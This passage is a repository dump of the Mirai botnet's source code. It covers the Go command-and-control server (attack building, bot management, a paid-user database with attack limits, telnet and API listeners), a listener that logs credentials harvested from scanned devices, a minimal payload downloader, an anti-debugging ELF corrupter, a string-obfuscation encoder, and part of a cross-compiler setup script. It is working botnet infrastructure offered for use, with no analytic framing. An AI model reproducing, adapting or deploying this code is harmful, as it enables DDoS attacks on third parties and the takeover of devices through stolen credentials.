2) 292 | if len(flagSplit) != 2 { 293 | return nil, errors.New(fmt.Sprintf("Invalid key=value flag combination near %s", args[0])) 294 | } 295 | flagInfo, exists := flagInfoLookup[flagSplit[0]] 296 | if !exists || !uint8InSlice(flagInfo.flagID, atkInfo.attackFlags) || (admin == 0 && flagInfo.flagID == 25) { 297 | return nil, errors.New(fmt.Sprintf("Invalid flag key %s, near %s", flagSplit[0], args[0])) 298 | } 299 | if flagSplit[1][0] == '"' { 300 | flagSplit[1] = flagSplit[1][1:len(flagSplit[1]) - 1] 301 | fmt.Println(flagSplit[1]) 302 | } 303 | if flagSplit[1] == "true" { 304 | flagSplit[1] = "1" 305 | } else if flagSplit[1] == "false" { 306 | flagSplit[1] = "0" 307 | } 308 | atk.Flags[uint8(flagInfo.flagID)] = flagSplit[1] 309 | args = args[1:] 310 | } 311 | if len(atk.Flags) > 255 { 312 | return nil, errors.New("Cannot have more than 255 flags") 313 | } 314 | 315 | return atk, nil 316 | } 317 | 318 | func (this *Attack) Build() ([]byte, error) { 319 | buf := make([]byte, 0) 320 | var tmp []byte 321 | 322 | // Add in attack duration 323 | tmp = make([]byte, 4) 324 | binary.BigEndian.PutUint32(tmp, this.Duration) 325 | buf = append(buf, tmp...) 326 | 327 | // Add in attack type 328 | buf = append(buf, byte(this.Type)) 329 | 330 | // Send number of targets 331 | buf = append(buf, byte(len(this.Targets))) 332 | 333 | // Send targets 334 | for prefix,netmask := range this.Targets { 335 | tmp = make([]byte, 5) 336 | binary.BigEndian.PutUint32(tmp, prefix) 337 | tmp[4] = byte(netmask) 338 | buf = append(buf, tmp...) 339 | } 340 | 341 | // Send number of flags 342 | buf = append(buf, byte(len(this.Flags))) 343 | 344 | // Send flags 345 | for key,val := range this.Flags { 346 | tmp = make([]byte, 2) 347 | tmp[0] = key 348 | strbuf := []byte(val) 349 | if len(strbuf) > 255 { 350 | return nil, errors.New("Flag value cannot be more than 255 bytes!") 351 | } 352 | tmp[1] = uint8(len(strbuf)) 353 | tmp = append(tmp, strbuf...) 354 | buf = append(buf, tmp...) 355 | } 356 | 357 | // Specify the total length 358 | if len(buf) > 4096 { 359 | return nil, errors.New("Max buffer is 4096") 360 | } 361 | tmp = make([]byte, 2) 362 | binary.BigEndian.PutUint16(tmp, uint16(len(buf) + 2)) 363 | buf = append(tmp, buf...) 364 | 365 | return buf, nil 366 | } 367 | -------------------------------------------------------------------------------- /mirai/cnc/bot.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "net" 5 | "time" 6 | ) 7 | 8 | type Bot struct { 9 | uid int 10 | conn net.Conn 11 | version byte 12 | source string 13 | } 14 | 15 | func NewBot(conn net.Conn, version byte, source string) *Bot { 16 | return &Bot{-1, conn, version, source} 17 | } 18 | 19 | func (this *Bot) Handle() { 20 | clientList.AddClient(this) 21 | defer clientList.DelClient(this) 22 | 23 | buf := make([]byte, 2) 24 | for { 25 | this.conn.SetDeadline(time.Now().Add(180 * time.Second)) 26 | if n,err := this.conn.Read(buf); err != nil || n != len(buf) { 27 | return 28 | } 29 | if n,err := this.conn.Write(buf); err != nil || n != len(buf) { 30 | return 31 | } 32 | } 33 | } 34 | 35 | func (this *Bot) QueueBuf(buf []byte) { 36 | this.conn.Write(buf) 37 | } 38 | -------------------------------------------------------------------------------- /mirai/cnc/clientList.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "time" 5 | "math/rand" 6 | "sync" 7 | "fmt" 8 | ) 9 | 10 | type AttackSend struct { 11 | buf []byte 12 | count int 13 | botCata string 14 | } 15 | 16 | type ClientList struct { 17 | uid int 18 | count int 19 | clients map[int]*Bot 20 | addQueue chan *Bot 21 | delQueue chan *Bot 22 | atkQueue chan *AttackSend 23 | totalCount chan int 24 | cntView chan int 25 | distViewReq chan int 26 | distViewRes chan map[string]int 27 | cntMutex *sync.Mutex 28 | } 29 | 30 | func NewClientList() *ClientList { 31 | c := &ClientList{0, 0, make(map[int]*Bot), make(chan *Bot, 128), make(chan *Bot, 128), make(chan *AttackSend), make(chan int, 64), make(chan int), make(chan int), make(chan map[string]int), &sync.Mutex{}} 32 | go c.worker() 33 | go c.fastCountWorker() 34 | return c 35 | } 36 | 37 | func (this *ClientList) Count() int { 38 | this.cntMutex.Lock() 39 | defer this.cntMutex.Unlock() 40 | 41 | this.cntView <- 0 42 | return <-this.cntView 43 | } 44 | 45 | func (this *ClientList) Distribution() map[string]int { 46 | this.cntMutex.Lock() 47 | defer this.cntMutex.Unlock() 48 | this.distViewReq <- 0 49 | return <-this.distViewRes 50 | } 51 | 52 | func (this *ClientList) AddClient(c *Bot) { 53 | this.addQueue <- c 54 | } 55 | 56 | func (this *ClientList) DelClient(c *Bot) { 57 | this.delQueue <- c 58 | fmt.Printf("Deleted client %d - %s - %s\n", c.version, c.source, c.conn.RemoteAddr()) 59 | } 60 | 61 | func (this *ClientList) QueueBuf(buf []byte, maxbots int, botCata string) { 62 | attack := &AttackSend{buf, maxbots, botCata} 63 | this.atkQueue <- attack 64 | } 65 | 66 | func (this *ClientList) fastCountWorker() { 67 | for { 68 | select { 69 | case delta := <-this.totalCount: 70 | this.count += delta 71 | break 72 | case <-this.cntView: 73 | this.cntView <- this.count 74 | break 75 | } 76 | } 77 | } 78 | 79 | func (this *ClientList) worker() { 80 | rand.Seed(time.Now().UTC().UnixNano()) 81 | 82 | for { 83 | select { 84 | case add := <-this.addQueue: 85 | this.totalCount <- 1 86 | this.uid++ 87 | add.uid = this.uid 88 | this.clients[add.uid] = add 89 | break 90 | case del := <-this.delQueue: 91 | this.totalCount <- -1 92 | delete(this.clients, del.uid) 93 | break 94 | case atk := <-this.atkQueue: 95 | if atk.count == -1 { 96 | for _,v := range this.clients { 97 | if atk.botCata == "" || atk.botCata == v.source { 98 | v.QueueBuf(atk.buf) 99 | } 100 | } 101 | } else { 102 | var count int 103 | for _, v := range this.clients { 104 | if count > atk.count { 105 | break 106 | } 107 | if atk.botCata == "" || atk.botCata == v.source { 108 | v.QueueBuf(atk.buf) 109 | count++ 110 | } 111 | } 112 | } 113 | break 114 | case <-this.cntView: 115 | this.cntView <- this.count 116 | break 117 | case <-this.distViewReq: 118 | res := make(map[string]int) 119 | for _,v := range this.clients { 120 | if ok,_ := res[v.source]; ok > 0 { 121 | res[v.source]++ 122 | } else { 123 | res[v.source] = 1 124 | } 125 | } 126 | this.distViewRes <- res 127 | } 128 | } 129 | } 130 | 131 | -------------------------------------------------------------------------------- /mirai/cnc/constants.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | const MiraiPrompt = ` 4 | ܱ²ß²±Ü ܱ²²±Ü ܱ² 5 | ß²±Ü ܱ²ß²±Ü ܰ±² 6 | ²Ûܱ²ß²±Ü ܱ²² 7 | ±Ü ܱ²Ü°±²²Û²±°°±²² 8 | °°±±° °°±±°°°°±± 9 | °°°°±±°°°°±°°± 10 | ±°°°°±±°°°°±° 11 | °±°°± 12 | ±°°±°°±°°±° ±° 13 | °°° ±°°±° ±°° 14 | ±°°±° ±°°±° ±° 15 | °±°°±°° 16 | ²±°²±±²±°²±±²±°²±±²±°²±±²±° 17 | ²±°²±±²±°²±±²±°²±°²±° 18 | Û²±ÛÛ²Û²±Û²²Û²±Û²± 19 | Þ²²Ý Û²°Þ²²Ý Û² 20 | ±Û²²Û²±Û²°Û²° 21 | ÛÛ²²ÛÛ ÛÛ²ÜÛÛ²ÛÛÛ  22 | ²Û²ßÛ²ÛÜ ÛÛ²ÜÜßÛ 23 | ²ÛÜ ÛÛ²ÜÛÛ²ÛÛÛ ÛÛ 24 | ²ÜÜ ÛÛÛ 25 | ²ÛÛßßßß ÛÛ² ÛÛÛ ÛÛ² ÛÛÛ ßÛÛÛ ÛÛ²ßÛÛÛ ÛÛ² ÛÛÛ ÛÛ² ÛÛ²ÛÛÛ 26 | ²Û²²Û² ²ÛÛ ÛÛ² ²ÛÛÛÛ² ÛÛ²ÛÛ² ²Û² ²ÛÛ ÛÛ² ÛÛ²²ÛÛ 27 | ±Û²²Û± ²Û² ²Û²Ü²Û² ±²Û ²Û² ²Û²±²Û ²Û² ²Û± ²Û² ²Û² ²Û² 28 | ²Û² 29 | ±Û±±Û± ±Û± ±Û± ±Û± ²ÛÛ ±Û± ±Û±²ÛÛ ±Û± ±Û± ±Û± ±Û± ±Û± 30 | ±Û± 31 | °Û°°Û° °Û° °Û° °Û° ßÛÛÜÛÛß °ÛÛÛÛÛßÛÛÜÛÛß °Û° °Û° °Û° °Û° 32 | °Û° 33 | 34 | SYSOP: PIRATE PETE ú CUSTOMIZED PCB 15.1 ú CLASSIC GAMES/UTILS ARE 35 | A 36 | NODES: 604-732-3233 ú NODES 2-4 604-NOT-4U! ú NODES 5-6 604-NOT-YET! 37 | 2.1 GIGZ ONLINEú SYNDROME DISTRO SITE ú EXPERIENCED USERS ONLY 38 | 39 | ANSI : THE MASKED PIRATEúIMPERIAL 40 | ` -------------------------------------------------------------------------------- /mirai/cnc/database.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "database/sql" 5 | "fmt" 6 | "net" 7 | "encoding/binary" 8 | _ "github.com/go-sql-driver/mysql" 9 | "time" 10 | "errors" 11 | ) 12 | 13 | type Database struct { 14 | db *sql.DB 15 | } 16 | 17 | type AccountInfo struct { 18 | username string 19 | maxBots int 20 | admin int 21 | } 22 | 23 | func NewDatabase(dbAddr string, dbUser string, dbPassword string, dbName string) *Database { 24 | db, err := sql.Open("mysql", fmt.Sprintf("%s:%s@tcp(%s)/%s", dbUser, dbPassword, dbAddr, dbName)) 25 | if err != nil { 26 | fmt.Println(err) 27 | } 28 | fmt.Println("Mysql DB opened") 29 | return &Database{db} 30 | } 31 | 32 | func (this *Database) TryLogin(username string, password string) (bool, AccountInfo) { 33 | rows, err := this.db.Query("SELECT username, max_bots, admin FROM users WHERE username = ? AND password = ? AND (wrc = 0 OR (UNIX_TIMESTAMP() - last_paid < `intvl` * 24 * 60 * 60))", username, password) 34 | if err != nil { 35 | fmt.Println(err) 36 | return false, AccountInfo{"", 0, 0} 37 | } 38 | defer rows.Close() 39 | if !rows.Next() { 40 | return false, AccountInfo{"", 0, 0} 41 | } 42 | var accInfo AccountInfo 43 | rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin) 44 | return true, accInfo 45 | } 46 | 47 | func (this *Database) CreateUser(username string, password string, max_bots int, duration int, cooldown int) bool { 48 | rows, err := this.db.Query("SELECT username FROM users WHERE username = ?", username) 49 | if err != nil { 50 | fmt.Println(err) 51 | return false 52 | } 53 | if rows.Next() { 54 | return false 55 | } 56 | this.db.Exec("INSERT INTO users (username, password, max_bots, admin, last_paid, cooldown, duration_limit) VALUES (?, ?, ?, 0, UNIX_TIMESTAMP(), ?, ?)", username, password, max_bots, cooldown, duration) 57 | return true 58 | } 59 | 60 | func (this *Database) ContainsWhitelistedTargets(attack *Attack) bool { 61 | rows, err := this.db.Query("SELECT prefix, netmask FROM whitelist") 62 | if err != nil { 63 | fmt.Println(err) 64 | return false 65 | } 66 | defer rows.Close() 67 | for rows.Next() { 68 | var prefix string 69 | var netmask uint8 70 | rows.Scan(&prefix, &netmask) 71 | 72 | // Parse prefix 73 | ip := net.ParseIP(prefix) 74 | ip = ip[12:] 75 | iWhitelistPrefix := binary.BigEndian.Uint32(ip) 76 | 77 | for aPNetworkOrder, aN := range attack.Targets { 78 | rvBuf := make([]byte, 4) 79 | binary.BigEndian.PutUint32(rvBuf, aPNetworkOrder) 80 | iAttackPrefix := binary.BigEndian.Uint32(rvBuf) 81 | if aN > netmask { // Whitelist is less specific than attack target 82 | if netshift(iWhitelistPrefix, netmask) == netshift(iAttackPrefix, netmask) { 83 | return true 84 | } 85 | } else if aN < netmask { // Attack target is less specific than whitelist 86 | if (iAttackPrefix >> aN) == (iWhitelistPrefix >> aN) { 87 | return true 88 | } 89 | } else { // Both target and whitelist have same prefix 90 | if (iWhitelistPrefix == iAttackPrefix) { 91 | return true 92 | } 93 | } 94 | } 95 | } 96 | return false 97 | } 98 | 99 | func (this *Database) CanLaunchAttack(username string, duration uint32, fullCommand string, maxBots int, allowConcurrent int) (bool, error) { 100 | rows, err := this.db.Query("SELECT id, duration_limit, cooldown FROM users WHERE username = ?", username) 101 | defer rows.Close() 102 | if err != nil { 103 | fmt.Println(err) 104 | } 105 | var userId, durationLimit, cooldown uint32 106 | if !rows.Next() { 107 | return false, errors.New("Your access has been terminated") 108 | } 109 | rows.Scan(&userId, &durationLimit, &cooldown) 110 | 111 | if durationLimit != 0 && duration > durationLimit { 112 | return false, errors.New(fmt.Sprintf("You may not send attacks longer than %d seconds.", durationLimit)) 113 | } 114 | rows.Close() 115 | 116 | if allowConcurrent == 0 { 117 | rows, err = this.db.Query("SELECT time_sent, duration FROM history WHERE user_id = ? AND (time_sent + duration + ?) > UNIX_TIMESTAMP()", userId, cooldown) 118 | if err != nil { 119 | fmt.Println(err) 120 | } 121 | if rows.Next() { 122 | var timeSent, historyDuration uint32 123 | rows.Scan(&timeSent, &historyDuration) 124 | return false, errors.New(fmt.Sprintf("Please wait %d seconds before sending another attack", (timeSent + historyDuration + cooldown) - uint32(time.Now().Unix()))) 125 | } 126 | } 127 | 128 | this.db.Exec("INSERT INTO history (user_id, time_sent, duration, command, max_bots) VALUES (?, UNIX_TIMESTAMP(), ?, ?, ?)", userId, duration, fullCommand, maxBots) 129 | return true, nil 130 | } 131 | 132 | func (this *Database) CheckApiCode(apikey string) (bool, AccountInfo) { 133 | rows, err := this.db.Query("SELECT username, max_bots, admin FROM users WHERE api_key = ?", apikey) 134 | if err != nil { 135 | fmt.Println(err) 136 | return false, AccountInfo{"", 0, 0} 137 | } 138 | defer rows.Close() 139 | if !rows.Next() { 140 | return false, AccountInfo{"", 0, 0} 141 | } 142 | var accInfo AccountInfo 143 | rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin) 144 | return true, accInfo 145 | } 146 | -------------------------------------------------------------------------------- /mirai/cnc/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "errors" 7 | "time" 8 | ) 9 | 10 | const DatabaseAddr string = "127.0.0.1" 11 | const DatabaseUser string = "root" 12 | const DatabasePass string = "password" 13 | const DatabaseTable string = "mirai" 14 | 15 | var clientList *ClientList = NewClientList() 16 | var database *Database = NewDatabase(DatabaseAddr, DatabaseUser, DatabasePass, DatabaseTable) 17 | 18 | func main() { 19 | tel, err := net.Listen("tcp", "0.0.0.0:23") 20 | if err != nil { 21 | fmt.Println(err) 22 | return 23 | } 24 | 25 | api, err := net.Listen("tcp", "0.0.0.0:101") 26 | if err != nil { 27 | fmt.Println(err) 28 | return 29 | } 30 | 31 | go func() { 32 | for { 33 | conn, err := api.Accept() 34 | if err != nil { 35 | break 36 | } 37 | go apiHandler(conn) 38 | } 39 | }() 40 | 41 | for { 42 | conn, err := tel.Accept() 43 | if err != nil { 44 | break 45 | } 46 | go initialHandler(conn) 47 | } 48 | 49 | fmt.Println("Stopped accepting clients") 50 | } 51 | 52 | func initialHandler(conn net.Conn) { 53 | defer conn.Close() 54 | 55 | conn.SetDeadline(time.Now().Add(10 * time.Second)) 56 | 57 | buf := make([]byte, 32) 58 | l, err := conn.Read(buf) 59 | if err != nil || l <= 0 { 60 | return 61 | } 62 | 63 | if l == 4 && buf[0] == 0x00 && buf[1] == 0x00 && buf[2] == 0x00 { 64 | if buf[3] > 0 { 65 | string_len := make([]byte, 1) 66 | l, err := conn.Read(string_len) 67 | if err != nil || l <= 0 { 68 | return 69 | } 70 | var source string 71 | if string_len[0] > 0 { 72 | source_buf := make([]byte, string_len[0]) 73 | l, err := conn.Read(source_buf) 74 | if err != nil || l <= 0 { 75 | return 76 | } 77 | source = string(source_buf) 78 | } 79 | NewBot(conn, buf[3], source).Handle() 80 | } else { 81 | NewBot(conn, buf[3], "").Handle() 82 | } 83 | } else { 84 | NewAdmin(conn).Handle() 85 | } 86 | } 87 | 88 | func apiHandler(conn net.Conn) { 89 | defer conn.Close() 90 | 91 | NewApi(conn).Handle() 92 | } 93 | 94 | func readXBytes(conn net.Conn, buf []byte) (error) { 95 | tl := 0 96 | 97 | for tl < len(buf) { 98 | n, err := conn.Read(buf[tl:]) 99 | if err != nil { 100 | return err 101 | } 102 | if n <= 0 { 103 | return errors.New("Connection closed unexpectedly") 104 | } 105 | tl += n 106 | } 107 | 108 | return nil 109 | } 110 | 111 | func netshift(prefix uint32, netmask uint8) uint32 { 112 | return uint32(prefix >> (32 - netmask)) 113 | } 114 | -------------------------------------------------------------------------------- /mirai/prompt.txt: -------------------------------------------------------------------------------- 1 | я люблю куриные наггетсы 2 | -------------------------------------------------------------------------------- /mirai/tools/badbot.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(int argc, char **args) 5 | { 6 | printf("REPORT %s:%s\n", "127.0.0.1", "80"); 7 | 8 | while (1) 9 | sleep(1); 10 | 11 | return 0; 12 | } -------------------------------------------------------------------------------- /mirai/tools/enc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | static uint32_t table_key = 0xdeadbeef; 8 | 9 | void *x(void *, int); 10 | 11 | int main(int argc, char **args) 12 | { 13 | void *data; 14 | int len, i; 15 | 16 | if (argc != 3) 17 | { 18 | printf("Usage: %s \n", args[0]); 19 | return 0; 20 | } 21 | 22 | if (strcmp(args[1], "string") == 0) 23 | { 24 | data = args[2]; 25 | len = strlen(args[2]) + 1; 26 | } 27 | else if (strcmp(args[1], "ip") == 0) 28 | { 29 | data = calloc(1, sizeof (uint32_t)); 30 | *((uint32_t *)data) = inet_addr(args[2]); 31 | len = sizeof (uint32_t); 32 | } 33 | else if (strcmp(args[1], "uint32") == 0) 34 | { 35 | data = calloc(1, sizeof (uint32_t)); 36 | *((uint32_t *)data) = htonl((uint32_t)atoi(args[2])); 37 | len = sizeof (uint32_t); 38 | } 39 | else if (strcmp(args[1], "uint16") == 0) 40 | { 41 | data = calloc(1, sizeof (uint16_t)); 42 | *((uint16_t *)data) = htons((uint16_t)atoi(args[2])); 43 | len = sizeof (uint16_t); 44 | } 45 | else if (strcmp(args[1], "uint8") == 0) 46 | { 47 | data = calloc(1, sizeof (uint8_t)); 48 | *((uint8_t *)data) = atoi(args[2]); 49 | len = sizeof (uint8_t); 50 | } 51 | else if (strcmp(args[1], "bool") == 0) 52 | { 53 | data = calloc(1, sizeof (char)); 54 | if (strcmp(args[2], "false") == 0) 55 | ((char *)data)[0] = 0; 56 | else if (strcmp(args[2], "true") == 0) 57 | ((char *)data)[0] = 1; 58 | else 59 | { 60 | printf("Unknown value `%s` for datatype bool!\n", args[2]); 61 | return -1; 62 | } 63 | len = sizeof (char); 64 | } 65 | else 66 | { 67 | printf("Unknown data type `%s`!\n", args[1]); 68 | return -1; 69 | } 70 | 71 | // Yes we are leaking memory, but the program is so 72 | // short lived that it doesn't really matter... 73 | printf("XOR'ing %d bytes of data...\n", len); 74 | data = x(data, len); 75 | for (i = 0; i < len; i++) 76 | printf("\\x%02X", ((unsigned char *)data)[i]); 77 | printf("\n"); 78 | } 79 | 80 | void *x(void *_buf, int len) 81 | { 82 | unsigned char *buf = (char *)_buf, *out = malloc(len); 83 | int i; 84 | uint8_t k1 = table_key & 0xff, 85 | k2 = (table_key >> 8) & 0xff, 86 | k3 = (table_key >> 16) & 0xff, 87 | k4 = (table_key >> 24) & 0xff; 88 | 89 | for (i = 0; i < len; i++) 90 | { 91 | char tmp = buf[i] ^ k1; 92 | 93 | tmp ^= k2; 94 | tmp ^= k3; 95 | tmp ^= k4; 96 | 97 | out[i] = tmp; 98 | } 99 | 100 | return out; 101 | } 102 | -------------------------------------------------------------------------------- /mirai/tools/nogdb.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | int main(int argc, char** argv) { 12 | int f; 13 | static Elf32_Ehdr* header; 14 | 15 | printf(".: Elf corrupt :.\n"); 16 | 17 | if(argc < 2){ 18 | printf("Usage: %s file", argv[0]); 19 | return 1; 20 | } 21 | 22 | if((f = open(argv[1], O_RDWR)) < 0){ 23 | perror("open"); 24 | return 1; 25 | } 26 | 27 | //MAP_SHARED is required to actually update the file 28 | if((header = (Elf32_Ehdr *) mmap(NULL, sizeof(header), PROT_READ | PROT_WRITE, MAP_SHARED, f, 0)) == MAP_FAILED){ 29 | perror("mmap"); 30 | close(f); 31 | return 1; 32 | } 33 | 34 | printf("[*] Current header values:\n"); 35 | printf("\te_shoff:%d\n\te_shnum:%d\n\te_shstrndx:%d\n", 36 | header->e_shoff, header->e_shnum, header->e_shstrndx); 37 | 38 | header->e_shoff = 0xffff; 39 | header->e_shnum = 0xffff; 40 | header->e_shstrndx = 0xffff; 41 | 42 | printf("[*] Patched header values:\n"); 43 | printf("\te_shoff:%d\n\te_shnum:%d\n\te_shstrndx:%d\n", 44 | header->e_shoff, header->e_shnum, header->e_shstrndx); 45 | 46 | if(msync(NULL, 0, MS_SYNC) == -1){ 47 | perror("msync"); 48 | close(f); 49 | return 1; 50 | } 51 | 52 | close(f); 53 | munmap(header, 0); 54 | printf("You should no more be able to run \"%s\" inside GDB\n", argv[1]); 55 | return 0; 56 | } -------------------------------------------------------------------------------- /mirai/tools/scanListen.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "encoding/binary" 7 | "errors" 8 | "time" 9 | ) 10 | 11 | func main() { 12 | l, err := net.Listen("tcp", "0.0.0.0:48101") 13 | if err != nil { 14 | fmt.Println(err) 15 | return 16 | } 17 | 18 | for { 19 | conn, err := l.Accept() 20 | if err != nil { 21 | break 22 | } 23 | go handleConnection(conn) 24 | } 25 | } 26 | 27 | func handleConnection(conn net.Conn) { 28 | defer conn.Close() 29 | conn.SetDeadline(time.Now().Add(10 * time.Second)) 30 | 31 | bufChk, err := readXBytes(conn, 1) 32 | if err != nil { 33 | return 34 | } 35 | 36 | var ipInt uint32 37 | var portInt uint16 38 | 39 | if bufChk[0] == 0 { 40 | ipBuf, err := readXBytes(conn, 4) 41 | if err != nil { 42 | return 43 | } 44 | ipInt = binary.BigEndian.Uint32(ipBuf) 45 | 46 | portBuf, err := readXBytes(conn, 2) 47 | if err != nil { 48 | return; 49 | } 50 | 51 | portInt = binary.BigEndian.Uint16(portBuf) 52 | } else { 53 | ipBuf, err := readXBytes(conn, 3) 54 | if err != nil { 55 | return; 56 | } 57 | ipBuf = append(bufChk, ipBuf...) 58 | 59 | ipInt = binary.BigEndian.Uint32(ipBuf) 60 | 61 | portInt = 23 62 | } 63 | 64 | uLenBuf, err := readXBytes(conn, 1) 65 | if err != nil { 66 | return 67 | } 68 | usernameBuf, err := readXBytes(conn, int(byte(uLenBuf[0]))) 69 | 70 | pLenBuf, err := readXBytes(conn, 1) 71 | if err != nil { 72 | return 73 | } 74 | passwordBuf, err := readXBytes(conn, int(byte(pLenBuf[0]))) 75 | if err != nil { 76 | return 77 | } 78 | 79 | fmt.Printf("%d.%d.%d.%d:%d %s:%s\n", (ipInt >> 24) & 0xff, (ipInt >> 16) & 0xff, (ipInt >> 8) & 0xff, ipInt & 0xff, portInt, string(usernameBuf), string(passwordBuf)) 80 | } 81 | 82 | func readXBytes(conn net.Conn, amount int) ([]byte, error) { 83 | buf := make([]byte, amount) 84 | tl := 0 85 | 86 | for tl < amount { 87 | rd, err := conn.Read(buf[tl:]) 88 | if err != nil || rd <= 0 { 89 | return nil, errors.New("Failed to read") 90 | } 91 | tl += rd 92 | } 93 | 94 | return buf, nil 95 | } 96 | -------------------------------------------------------------------------------- /mirai/tools/wget.c: -------------------------------------------------------------------------------- 1 | #include 2 | //#include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define EXEC_MSG "MIRAI\n" 10 | #define EXEC_MSG_LEN 6 11 | 12 | #define DOWNLOAD_MSG "FIN\n" 13 | #define DOWNLOAD_MSG_LEN 4 14 | 15 | #define STDIN 0 16 | #define STDOUT 1 17 | #define STDERR 2 18 | 19 | #if BYTE_ORDER == BIG_ENDIAN 20 | #define HTONS(n) (n) 21 | #define HTONL(n) (n) 22 | #elif BYTE_ORDER == LITTLE_ENDIAN 23 | #define HTONS(n) (((((unsigned short)(n) & 0xff)) << 8) | (((unsigned short)(n) & 0xff00) >> 8)) 24 | #define HTONL(n) (((((unsigned long)(n) & 0xff)) << 24) | \ 25 | ((((unsigned long)(n) & 0xff00)) << 8) | \ 26 | ((((unsigned long)(n) & 0xff0000)) >> 8) | \ 27 | ((((unsigned long)(n) & 0xff000000)) >> 24)) 28 | #else 29 | #error "Fix byteorder" 30 | #endif 31 | 32 | #ifdef __ARM_EABI__ 33 | #define SCN(n) ((n) & 0xfffff) 34 | #else 35 | #define SCN(n) (n) 36 | #endif 37 | 38 | /* stdlib calls */ 39 | int xsocket(int, int, int); 40 | int xwrite(int, void *, int); 41 | int xread(int, void *, int); 42 | int xconnect(int, struct sockaddr_in *, int); 43 | int xopen(char *, int, int); 44 | int xclose(int); 45 | void x__exit(int); 46 | 47 | #define socket xsocket 48 | #define write xwrite 49 | #define read xread 50 | #define connect xconnect 51 | #define open xopen 52 | #define close xclose 53 | #define __exit x__exit 54 | 55 | #ifdef DEBUG 56 | void xprintf(char *str) 57 | { 58 | write(1, str, strlen(str)); 59 | } 60 | #define printf xprintf 61 | #endif 62 | 63 | // wget ip_address remote_file host 64 | int main(int argc, char **args) 65 | { 66 | char recvbuf[128]; 67 | struct sockaddr_in addr; 68 | int sfd, ffd; 69 | unsigned int header_parser = 0; 70 | 71 | write(STDOUT, EXEC_MSG, EXEC_MSG_LEN); 72 | 73 | addr.sin_family = AF_INET; 74 | addr.sin_port = HTONS(80); 75 | addr.sin_addr.s_addr = inet_addr(args[1]); 76 | 77 | ffd = open("wget_bin", O_WRONLY | O_CREAT | O_TRUNC, 0777); 78 | sfd = socket(AF_INET, SOCK_STREAM, 0); 79 | 80 | #ifdef DEBUG 81 | if (ffd == -1) 82 | printf("Failed to open file!\n"); 83 | if (sfd == -1) 84 | printf("Failed to call socket()\n"); 85 | #endif 86 | 87 | if (sfd == -1 || ffd == -1) 88 | __exit(1); 89 | 90 | if (connect(sfd, &addr, sizeof (struct sockaddr_in)) == -1) 91 | __exit(2); 92 | 93 | write(sfd, "GET ", 4); 94 | write(sfd, args[2], strlen(args[2])); 95 | write(sfd, " HTTP/1.1\r\n", 11); 96 | write(sfd, "Host: ", 6); 97 | write(sfd, args[3], strlen(args[3])); 98 | write(sfd, "\r\nConnection: close\r\n\r\n", 23); 99 | 100 | while (header_parser != 0x0d0a0d0a) 101 | { 102 | char ch; 103 | int ret = read(sfd, &ch, 1); 104 | 105 | if (ret != 1) 106 | __exit(4); 107 | header_parser = (header_parser << 8) | ch; 108 | } 109 | #ifdef DEBUG 110 | printf("Finished receiving HTTP header\n"); 111 | #endif 112 | 113 | while (1) 114 | { 115 | int ret = read(sfd, recvbuf, sizeof (recvbuf)); 116 | 117 | if (ret <= 0) 118 | break; 119 | write(ffd, recvbuf, ret); 120 | } 121 | 122 | close(sfd); 123 | close(ffd); 124 | write(STDOUT, DOWNLOAD_MSG, DOWNLOAD_MSG_LEN); 125 | __exit(5); 126 | } 127 | 128 | int xsocket(int domain, int type, int protocol) 129 | { 130 | #if !defined(__NR_socket) 131 | struct { 132 | int domain, type, protocol; 133 | } socketcall; 134 | socketcall.domain = domain; 135 | socketcall.type = type; 136 | socketcall.protocol = protocol; 137 | return syscall(SCN(SYS_socketcall), 1 /* SYS_SOCKET */, &socketcall); 138 | #else 139 | return syscall(SCN(SYS_socket), domain, type, protocol); 140 | #endif 141 | } 142 | 143 | int xread(int fd, void *buf, int len) 144 | { 145 | return syscall(SCN(SYS_read), fd, buf, len); 146 | } 147 | 148 | int xwrite(int fd, void *buf, int len) 149 | { 150 | return syscall(SCN(SYS_write), fd, buf, len); 151 | } 152 | 153 | int xconnect(int fd, struct sockaddr_in *addr, int len) 154 | { 155 | #if !defined(__NR_socket) 156 | struct { 157 | int fd; 158 | struct sockaddr_in *addr; 159 | int len; 160 | } socketcall; 161 | socketcall.fd = fd; 162 | socketcall.addr = addr; 163 | socketcall.len = len; 164 | return syscall(SCN(SYS_socketcall), 3 /* SYS_CONNECT */, &socketcall); 165 | #else 166 | return syscall(SCN(SYS_connect), fd, addr, len); 167 | #endif 168 | } 169 | 170 | int xopen(char *path, int flags, int other) 171 | { 172 | return syscall(SCN(SYS_open), path, flags, other); 173 | } 174 | 175 | int xclose(int fd) 176 | { 177 | return syscall(SCN(SYS_close), fd); 178 | } 179 | 180 | void x__exit(int code) 181 | { 182 | syscall(SCN(SYS_exit), code); 183 | } 184 | -------------------------------------------------------------------------------- /script.sh: -------------------------------------------------------------------------------- 1 | # RUN ALL OF THESE AS A PRIVELEGED USER, SINCE WE ARE DOWNLOADING INTO /etc 2 | 3 | # You're gay if you don't use Debian 4 | apt-get install gcc golang electric-fence 5 | 6 | mkdir /etc/xcompile 7 | cd /etc/xcompile 8 | 9 | wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2 10 | wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2 11 | wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2 12 | wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2 13 | wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2 14 | wget 